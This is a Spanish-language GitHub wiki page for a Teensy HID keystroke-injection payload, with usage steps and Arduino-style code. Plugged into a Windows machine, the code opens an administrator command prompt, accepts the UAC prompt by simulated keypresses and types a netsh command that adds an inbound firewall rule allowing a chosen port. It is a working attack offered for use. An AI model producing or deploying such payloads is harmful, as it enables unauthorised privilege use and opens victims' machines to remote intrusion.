Payload Abrir Puerto Firewall - H3LL0WORLD/Teensy-Plantilla-Base GitHub Wiki

##¿Qué hace?

  1. Crea una regla en el firewall para abrir el puerto con el protocolo especificado.

##Créditos:

##Uso

  1. Poner el código en la función payload al final de la plantilla base.
  2. Modificar la variable 'Protocolo' con el protocolo a usar (normalmente TCP).
  3. Modificar la variable 'nombreRegla' con el nombre que se le asignará a la regla.
  4. Modificar la variable 'Puerto' con el puerto a abrir.
// UDP/TCP
String Protocolo = "TCP";
String nombreRegla = "Ejemplo";
int Puerto = 1234;

// Delay promedio en milisegundos
int ds = 750;

// Abrir cmd como Admin
GUI(R);
delay(ds);
Escribir("powershell Start-Process cmd -Verb runAs");
delay(ds*2);
Izq();
Enter();
delay(ds*3);

// Agregar regla
Escribir("netsh advfirewall firewall add rule name='" + nombreRegla + "' dir=in action=allow protocol=" + Protocolo + " localport=" + Puerto);
delay(ds);

// Salir
Escribir("exit");